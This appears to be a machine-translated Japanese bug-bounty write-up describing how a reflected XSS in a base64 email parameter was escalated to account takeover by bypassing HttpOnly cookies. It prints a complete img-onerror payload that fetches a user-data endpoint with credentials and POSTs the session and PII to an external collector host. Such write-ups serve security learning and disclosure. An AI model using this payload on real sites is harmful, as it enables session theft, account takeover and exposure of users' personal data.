Hello there, ('ω')ノ
アカウントの乗っ取りを達成するために HttpOnly フラグを無効にするを。
脆弱性:
反射型XSS
アカウント乗っ取り
記事:
今回は、反射型 XSS 脆弱性を介してアカウント乗っ取りを達成するために。
HttpOnly フラグが設定されている場合に被害者のセッションを。
取得する方法について説明することに。
プログラムは非公開だったので、target.com と呼ぶことに。
まず、どのようにして XSS を見つけたかを。
メールアドレスの変更機能をテストしていましたが、メールアドレスを変更すると。
次のような URL にリダイレクトされて。
https://xyz-target.com/authn/email/needverification?e=dGltb29vbkBidWdjcm93ZG5pbmphLmNvbQ==
URL に base64 パラメータ (e) があることに気付いたので、それをデコードすると。
ページに反映されているのは私の新しいメールであることがわかって。
そこで、base64 パラメータ (e) の値を XSS ペイロードに変更し。
base64 でエンコードすることにして。
したがって、下記へアクセスするとCookie でアラートが発生して。
残念ながら、セッションには HttpOnly フラグが設定されているため。
Java Scriptを介して取得できず。
これまでのところ、重大度が P3 の脆弱性であることはわかっていますが。
通常、JS コードを実行できる場合はここで終わりではなく。
そこで、この脆弱性を ATO にエスカレートし、機密データや CSRF トークンを。
盗むなどの調査をさらに進めて。
アカウント乗っ取りの実現:
最初に行ったことは、ソース コードと JS ファイルを分析して。
ApiKey、シークレット トークン、CSRF トークンなどを探すことで。
次に、LocalStorage に機密データが保存されているかどうかを確認しましたが。
残念ながら重要なものは見つからず。
Burp Suiteを起動して、機密データまたはユーザのセッションを。
返すエンドポイントを探して。
そして、ユーザのセッションを含むユーザの PII 情報を返す興味深いものを。
見つけて。
このエンドポイントは、次の URL のようになり。
https://api.target.com/home/v1/UserPersonalization/mymodules?more=true
これで、fetch メソッドを使用してこのエンドポイントにリクエストを送信し。
PII 情報に加えて被害者のセッションを盗むことができて。
被害者の Cookie をリクエストとともに送信する fetch メソッドの。
credentials: 'include' 属性に感謝して。
取得リクエスト:
fetch('https://api.target.com/home/v1/UserPersonalization/mymodules?more=true', {
method: 'get',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
}
}).then(response => response.text());
今まで、応答の内容を持っていて。
実際、それは大きな応答で。
このデータを攻撃者のサーバに送信する必要があるので。
このデータをサーバに送信するために使用した方法は。
POST XMLHttpRequest を使用することで。
攻撃者のサーバーにデータを送信:
.then(data => {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://timooon.free.beeceptor.com/data');
xhr.send(data);
});
最終的なペイロードは次のようになり。
<img src onerror="fetch('https://api.target.com/home/v1/UserPersonalization/mymodules?more=true', {
method: 'get',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
}
}).then(response => response.text()).then(data => {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://timooon.free.beeceptor.com/data');
xhr.send(data);
});">
最終的なペイロードを base64 にエンコードし、リンクを被害者に配信して。
そして、被害者のセッションと PII 情報を含む応答がサーバに送信されて。
Best regards, (^^ゞ